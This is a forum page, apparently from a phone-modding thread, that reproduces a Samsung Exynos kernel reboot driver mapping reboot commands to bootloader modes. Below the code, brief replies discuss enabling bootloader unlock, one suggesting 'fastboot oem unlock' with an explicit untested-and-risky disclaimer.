#define MULTICMD_DRAMTEST_SHIFT (MULTICMD_CPMEM_SHIFT + 2)
#define MULTICMD_DRAMTEST_ON (0x1)
#define MULTICMD_PARAM_SHIFT (MULTICMD_DRAMTEST_SHIFT + 1)
#define MULTICMD_PARAM_ON (0x1)
#define MULTICMD_DUMPSINK_SHIFT (MULTICMD_PARAM_SHIFT + 1)
#define MULTICMD_DUMPSINK_USB (0x1)
#define MULTICMD_DUMPSINK_BOOT (0x2)
#define MULTICMD_DUMPSINK_SD (0x3)
#define MULTICMD_CLKCHANGE_SHIFT (MULTICMD_DUMPSINK_SHIFT + 2)
#define MULTICMD_CLKCHANGE_ON (0x1)
#define MULTICMD_DUMPSINK_SEL_SHIFT (MULTICMD_CLKCHANGE_SHIFT + 1)
#define MULTICMD_DUMPSINK_SEL (0x1)
extern void cache_flush_all(void);
extern void exynos_mach_restart(const char *cmd);
extern struct atomic_notifier_head panic_notifier_list;
extern struct exynos_reboot_helper_ops exynos_reboot_ops;
extern int exynos_reboot_pwrkey_status(void);
/* MINFORM */
#define SEC_REBOOT_START_OFFSET (24)
#define SEC_REBOOT_END_OFFSET (16)
enum sec_power_flags {
SEC_REBOOT_DEFAULT = 0x30,
SEC_REBOOT_NORMAL = 0x4E,
SEC_REBOOT_LPM = 0x70,
};
#define SEC_DUMPSINK_MASK 0x0000FFFF
/* PANIC INFORM */
#define SEC_RESET_REASON_PREFIX 0x12345600
#define SEC_RESET_SET_PREFIX 0xabc00000
#define SEC_RESET_MULTICMD_PREFIX 0xa5600000
enum sec_reset_reason {
SEC_RESET_REASON_UNKNOWN = (SEC_RESET_REASON_PREFIX | 0x00),
SEC_RESET_REASON_DOWNLOAD = (SEC_RESET_REASON_PREFIX | 0x01),
SEC_RESET_REASON_UPLOAD = (SEC_RESET_REASON_PREFIX | 0x02),
SEC_RESET_REASON_CHARGING = (SEC_RESET_REASON_PREFIX | 0x03),
SEC_RESET_REASON_RECOVERY = (SEC_RESET_REASON_PREFIX | 0x04),
SEC_RESET_REASON_FOTA = (SEC_RESET_REASON_PREFIX | 0x05),
SEC_RESET_REASON_FOTA_BL = (SEC_RESET_REASON_PREFIX | 0x06), /* update bootloader */
SEC_RESET_REASON_SECURE = (SEC_RESET_REASON_PREFIX | 0x07), /* image secure check fail */
SEC_RESET_REASON_FWUP = (SEC_RESET_REASON_PREFIX | 0x09), /* emergency firmware update */
SEC_RESET_REASON_EM_FUSE = (SEC_RESET_REASON_PREFIX | 0x0a), /* EMC market fuse */
SEC_RESET_REASON_FACTORY = (SEC_RESET_REASON_PREFIX | 0x0c), /* go to factory mode */
SEC_RESET_REASON_BOOTLOADER = (SEC_RESET_REASON_PREFIX | 0x0d), /* go to download mode */
SEC_RESET_REASON_WIRELESSD_BL = (SEC_RESET_REASON_PREFIX | 0x0e), /* go to wireless download BOTA mode */
SEC_RESET_REASON_RECOVERY_WD = (SEC_RESET_REASON_PREFIX | 0x0f), /* go to wireless download mode */
SEC_RESET_REASON_PKEY_HOLD = (SEC_RESET_REASON_PREFIX | 0x12), /* Power Key HOLD during shutdown */
SEC_RESET_REASON_EMERGENCY = 0x0,
SEC_RESET_SET_DPRM = (SEC_RESET_SET_PREFIX | 0x20000),
SEC_RESET_SET_FORCE_UPLOAD = (SEC_RESET_SET_PREFIX | 0x40000),
SEC_RESET_SET_DEBUG = (SEC_RESET_SET_PREFIX | 0xd0000),
SEC_RESET_SET_SWSEL = (SEC_RESET_SET_PREFIX | 0xe0000),
SEC_RESET_SET_SUD = (SEC_RESET_SET_PREFIX | 0xf0000),
SEC_RESET_CP_DBGMEM = (SEC_RESET_SET_PREFIX | 0x50000), /* cpmem_on: CP RAM logging */
SEC_RESET_SET_POWEROFF_WATCH = (SEC_RESET_SET_PREFIX | 0x90000), /* Power off Watch mode */
#if defined(CONFIG_SEC_ABC)
SEC_RESET_USER_DRAM_TEST = (SEC_RESET_SET_PREFIX | 0x60000), /* USER DRAM TEST */
#endif
#if defined(CONFIG_SEC_SYSUP)
SEC_RESET_SET_PARAM = (SEC_RESET_SET_PREFIX | 0x70000),
#endif
SEC_RESET_SET_DUMPSINK = (SEC_RESET_SET_PREFIX | 0x80000),
SEC_RESET_SET_MULTICMD = SEC_RESET_MULTICMD_PREFIX,
};
static int sec_reboot_on_panic;
static char panic_str[10] = "panic";
ATOMIC_NOTIFIER_HEAD(sec_power_off_notifier_list);
EXPORT_SYMBOL(sec_power_off_notifier_list);
static char * sec_strtok(char *s1, const char *delimit)
{
static char *lastToken = NULL;
char *tmp;
if (s1 == NULL) {
s1 = lastToken;
if (s1 == NULL)
return NULL;
} else {
s1 += strspn(s1, delimit);
}
tmp = strpbrk(s1, delimit);
if (tmp) {
*tmp = '\0';
lastToken = tmp + 1;
} else {
lastToken = NULL;
}
return s1;
}
static void sec_multicmd(const char *cmd)
{
unsigned long value = 0;
char *multicmd_ptr;
char *multicmd_cmd[MULTICMD_CNT_MAX];
char copy_cmd[100] = {0,};
unsigned long multicmd_value = 0;
int i, cnt = 0;
strcpy(copy_cmd, cmd);
multicmd_ptr = sec_strtok(copy_cmd, ":");
while (multicmd_ptr != NULL) {
if (cnt >= MULTICMD_CNT_MAX)
break;
multicmd_cmd[cnt++] = multicmd_ptr;
multicmd_ptr = sec_strtok(NULL, ":");
}
for (i = 1; i < cnt; i++) {
if (strlen(multicmd_cmd[i]) < MULTICMD_LEN_MAX) {
if (!strncmp(multicmd_cmd[i], "forceupload", 11) && !kstrtoul(multicmd_cmd[i] + 11, 0, &value)) {
if (value == FORCEUPLOAD_ON)
multicmd_value |= (MULTICMD_FORCEUPLOAD_ON << MULTICMD_FORCEUPLOAD_SHIFT);
else if (value == FORCEUPLOAD_OFF)
multicmd_value |= (MULTICMD_FORCEUPLOAD_OFF << MULTICMD_FORCEUPLOAD_SHIFT);
}
else if (!strncmp(multicmd_cmd[i], "debug", 5) && !kstrtoul(multicmd_cmd[i] + 5, 0, &value)) {
if (value == DEBUGLEVEL_HIGH)
multicmd_value |= (MULTICMD_DEBUGLEVEL_HIGH << MULTICMD_DEBUGLEVEL_SHIFT);
else if (value == DEBUGLEVEL_MID)
multicmd_value |= (MULTICMD_DEBUGLEVEL_MID << MULTICMD_DEBUGLEVEL_SHIFT);
else if (value == DEBUGLEVEL_LOW)
multicmd_value |= (MULTICMD_DEBUGLEVEL_LOW << MULTICMD_DEBUGLEVEL_SHIFT);
}
else if (!strncmp(multicmd_cmd[i], "cpmem_on", 8))
multicmd_value |= (MULTICMD_CPMEM_ON << MULTICMD_CPMEM_SHIFT);
else if (!strncmp(multicmd_cmd[i], "cpmem_off", 9))
multicmd_value |= (MULTICMD_CPMEM_OFF << MULTICMD_CPMEM_SHIFT);
#if defined(CONFIG_SEC_ABC)
else if (!strncmp(multicmd_cmd[i], "user_dram_test", 14) && sec_abc_get_enabled())
multicmd_value |= (MULTICMD_DRAMTEST_ON << MULTICMD_DRAMTEST_SHIFT);
#endif
#if defined(CONFIG_SEC_SYSUP)
else if (!strncmp(multicmd_cmd[i], "param", 5))
multicmd_value |= (MULTICMD_PARAM_ON << MULTICMD_PARAM_SHIFT);
#endif
else if (!strncmp(multicmd_cmd[i], "dump_sink", 9) && !kstrtoul(multicmd_cmd[i] + 9, 0, &value)) {
if (value == DUMPSINK_USB)
multicmd_value |= (MULTICMD_DUMPSINK_USB << MULTICMD_DUMPSINK_SHIFT);
else if (value == DUMPSINK_BOOTDEV)
multicmd_value |= (MULTICMD_DUMPSINK_BOOT << MULTICMD_DUMPSINK_SHIFT);
else if (value == DUMPSINK_SDCARD)
multicmd_value |= (MULTICMD_DUMPSINK_SD << MULTICMD_DUMPSINK_SHIFT);
else if (value == DUMPSINK_SELECT)
multicmd_value |= (MULTICMD_DUMPSINK_SEL << MULTICMD_DUMPSINK_SEL_SHIFT);
}
#if defined(CONFIG_ARM_EXYNOS_ACME_DISABLE_BOOT_LOCK) && defined(CONFIG_ARM_EXYNOS_DEVFREQ_DISABLE_BOOT_LOCK)
else if (!strncmp(multicmd_cmd[i], "clkchange_test", 14))
multicmd_value |= (MULTICMD_CLKCHANGE_ON << MULTICMD_CLKCHANGE_SHIFT);
#endif
}
}
pr_emerg("%s: multicmd_value: %lu\n", __func__, multicmd_value);
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_SET_MULTICMD | multicmd_value);
}
void sec_set_reboot_magic(int magic, int offset, int mask)
{
u32 tmp = 0;
exynos_pmu_read(SEC_DEBUG_MAGIC_INFORM, &tmp);
pr_info("%s: prev: %x\n", __func__, tmp);
mask <<= offset;
tmp &= (~mask);
tmp |= magic << offset;
pr_info("%s: set as: %x\n", __func__, tmp);
exynos_pmu_write(SEC_DEBUG_MAGIC_INFORM, tmp);
}
EXPORT_SYMBOL(sec_set_reboot_magic);
static void sec_power_off(void)
{
u32 poweroff_try = 0;
union power_supply_propval ac_val = {0, };
union power_supply_propval usb_val = {0, };
union power_supply_propval wpc_val = {0, };
u32 reboot_charging = 0;
sec_set_reboot_magic(SEC_REBOOT_LPM, SEC_REBOOT_END_OFFSET, 0xFF);
psy_do_property("ac", get, POWER_SUPPLY_PROP_ONLINE, ac_val);
psy_do_property("usb", get, POWER_SUPPLY_PROP_ONLINE, usb_val);
psy_do_property("wireless", get, POWER_SUPPLY_PROP_ONLINE, wpc_val);
reboot_charging = ac_val.intval || usb_val.intval || wpc_val.intval;
pr_info("[%s] reboot_charging(%d), AC[%d], USB[%d], WPC[%d]\n",
__func__, reboot_charging, ac_val.intval, usb_val.intval, wpc_val.intval);
pr_info("Exynos reboot, PWR Key(%d)\n", exynos_reboot_pwrkey_status());
flush_cache_all();
/* before power off */
pr_crit("%s: call pre-power_off notifiers\n", __func__);
atomic_notifier_call_chain(&sec_power_off_notifier_list, 0, NULL);
while (1) {
/* Check reboot charging */
#if IS_ENABLED(CONFIG_SEC_PARAM)
if ((reboot_charging || (poweroff_try >= 5)) && !lpcharge) {
#else
if (reboot_charging || (poweroff_try >= 5)) {
#endif
/* if reboot_charging is true, to enter LP charging.
* else Power Key HOLD
*/
if (reboot_charging) {
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_REASON_UNKNOWN);
pr_emerg("%s: charger connected or power off failed(%d), reboot!\n", __func__, poweroff_try);
} else {
sec_set_reboot_magic(SEC_REBOOT_NORMAL, SEC_REBOOT_END_OFFSET, 0xFF);
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_REASON_PKEY_HOLD);
pr_emerg("%s: POWER KEY HOLD, reboot!\n", __func__);
}
exynos_mach_restart("sw reset");
pr_emerg("%s: waiting for reboot\n", __func__);
while (1);
}
/* wait for power button release.
* but after exynos_acpm_reboot is called
* power on status cannot be read */
if (exynos_reboot_pwrkey_status())
pr_info("PWR Key is not released (%d)(poweroff_try:%d)\n", exynos_reboot_pwrkey_status(), poweroff_try);
else {
if (exynos_reboot_ops.acpm_reboot)
exynos_reboot_ops.acpm_reboot();
else
pr_err("Exynos reboot, acpm_reboot not registered\n");
pr_emerg("Set PS_HOLD Low.\n");
exynos_pmu_update(EXYNOS_PMU_PS_HOLD_CONTROL, 0x1<<8, 0x0);
pr_emerg("Should not reach here! Device will be restarted after 950 msec.\n");
mdelay(950);
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_REASON_UNKNOWN);;
exynos_mach_restart("sw reset");
pr_emerg("%s: waiting for reboot\n", __func__);
while (1);
}
++poweroff_try;
mdelay(1000);
}
}
static int sec_reboot(struct notifier_block *this,
unsigned long mode, void *cmd)
{
local_irq_disable();
hard_reset_delay();
if (sec_reboot_on_panic && !cmd)
cmd = panic_str;
pr_emerg("%s (%d, %s)\n", __func__, reboot_mode, cmd ? cmd : "(null)");
/* LPM mode prevention */
sec_set_reboot_magic(SEC_REBOOT_NORMAL, SEC_REBOOT_END_OFFSET, 0xFF);
if (cmd) {
unsigned long value;
if (!strcmp(cmd, "fota"))
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_REASON_FOTA);
else if (!strcmp(cmd, "fota_bl"))
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_REASON_FOTA_BL);
else if (!strcmp(cmd, "recovery"))
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_REASON_RECOVERY);
else if (!strcmp(cmd, "download"))
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_REASON_DOWNLOAD);
else if (!strcmp(cmd, "bootloader"))
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_REASON_BOOTLOADER);
else if (!strcmp(cmd, "upload"))
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_REASON_UPLOAD);
else if (!strcmp(cmd, "secure"))
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_REASON_SECURE);
else if (!strcmp(cmd, "wdownload"))
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_REASON_RECOVERY_WD);
else if (!strcmp(cmd, "wirelessd"))
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_REASON_WIRELESSD_BL);
else if (!strcmp(cmd, "factory"))
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_REASON_FACTORY);
else if (!strcmp(cmd, "fwup"))
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_REASON_FWUP);
else if (!strcmp(cmd, "em_mode_force_user"))
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_REASON_EM_FUSE);
#if defined(CONFIG_SEC_ABC)
else if (!strcmp(cmd, "user_dram_test") && sec_abc_get_enabled())
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_USER_DRAM_TEST);
#endif
else if (!strncmp(cmd, "emergency", 9))
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_REASON_EMERGENCY);
else if (!strncmp(cmd, "debug", 5) && !kstrtoul(cmd + 5, 0, &value))
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_SET_DEBUG | value);
else if (!strncmp(cmd, "dump_sink", 9) && !kstrtoul(cmd + 9, 0, &value))
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_SET_DUMPSINK | (SEC_DUMPSINK_MASK & value));
else if (!strncmp(cmd, "forceupload", 11) && !kstrtoul(cmd + 11, 0, &value))
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_SET_FORCE_UPLOAD | value);
else if (!strncmp(cmd, "dprm", 4))
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_SET_DPRM);
else if (!strncmp(cmd, "swsel", 5) && !kstrtoul(cmd + 5, 0, &value))
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_SET_SWSEL | value);
else if (!strncmp(cmd, "sud", 3) && !kstrtoul(cmd + 3, 0, &value))
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_SET_SUD | value);
else if (!strncmp(cmd, "multicmd:", 9))
sec_multicmd(cmd);
#if defined(CONFIG_SEC_SYSUP)
else if (!strncmp(cmd, "param", 5))
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_SET_PARAM);
#endif
else if (!strncmp(cmd, "cpmem_on", 8))
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_CP_DBGMEM | 0x1);
else if (!strncmp(cmd, "cpmem_off", 9))
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_CP_DBGMEM | 0x2);
else if (!strncmp(cmd, "mbsmem_on", 9))
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_CP_DBGMEM | 0x1);
else if (!strncmp(cmd, "mbsmem_off", 10))
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_CP_DBGMEM | 0x2);
else if (!strncmp(cmd, "watchonly", 9)){
int wcoff = 10;
if (!strncmp(cmd + wcoff, "exercise", 8))
wcoff += 9;
if (((char*)cmd)[wcoff] == '0')
kstrtoul(cmd + (wcoff + 1), 0, &value);
else
kstrtoul(cmd + wcoff, 0, &value);
if (((char*)cmd)[wcoff - 1] == '+')
value |= 1 << 0xf;
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_SET_POWEROFF_WATCH | value);
} else if (!strncmp(cmd, "panic", 5)) {
/*
* This line is intentionally blanked because the PANIC INFORM is used for upload cause
* in sec_debug_set_upload_cause() only in case of panic() .
*/
} else
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_REASON_UNKNOWN);
} else {
exynos_pmu_write(SEC_DEBUG_PANIC_INFORM, SEC_RESET_REASON_UNKNOWN);
}
flush_cache_all();
return NOTIFY_DONE;
}
static int sec_reboot_panic_handler(struct notifier_block *nb,
unsigned long l, void *buf)
{
pr_emerg("sec_reboot: %s\n", __func__);
sec_reboot_on_panic = 1;
return NOTIFY_DONE;
}
static struct notifier_block nb_panic_block = {
.notifier_call = sec_reboot_panic_handler,
.priority = 128,
};
static struct notifier_block sec_restart_nb = {
.notifier_call = sec_reboot,
.priority = 130,
};
static int __init sec_reboot_init(void)
{
int err;
err = atomic_notifier_chain_register(&panic_notifier_list, &nb_panic_block);
if (err) {
pr_err("cannot register panic handler (err=%d)\n", err);
}
err = register_restart_handler(&sec_restart_nb);
if (err) {
pr_err("cannot register restart handler (err=%d)\n", err);
}
pm_power_off = sec_power_off;
pr_info("register restart handler successfully\n");
return err;
}
subsys_initcall(sec_reboot_init);
Maybe via reboot...
Oh I know.... your project is Top Secret.
Your right I can't flash until I have kernel or full firmware but I would also like to no have to jump through this hoop when it does become available. That being said that is why I'm interested in figuring this out now instead of later. And yes I can use adb to boot to the boot menu but that still doesn't solve the problem of not having the bootloader unlock option
Maybe you know Samsung Phones and OEM unlock in Developer Mode...
Maybe you ever heard of fastboot...
Maybe it work...
Code:
fastboot oem unlock
Dangerous!
OWN risk!
No idea... never tested...
Best Regards

Categories

Resources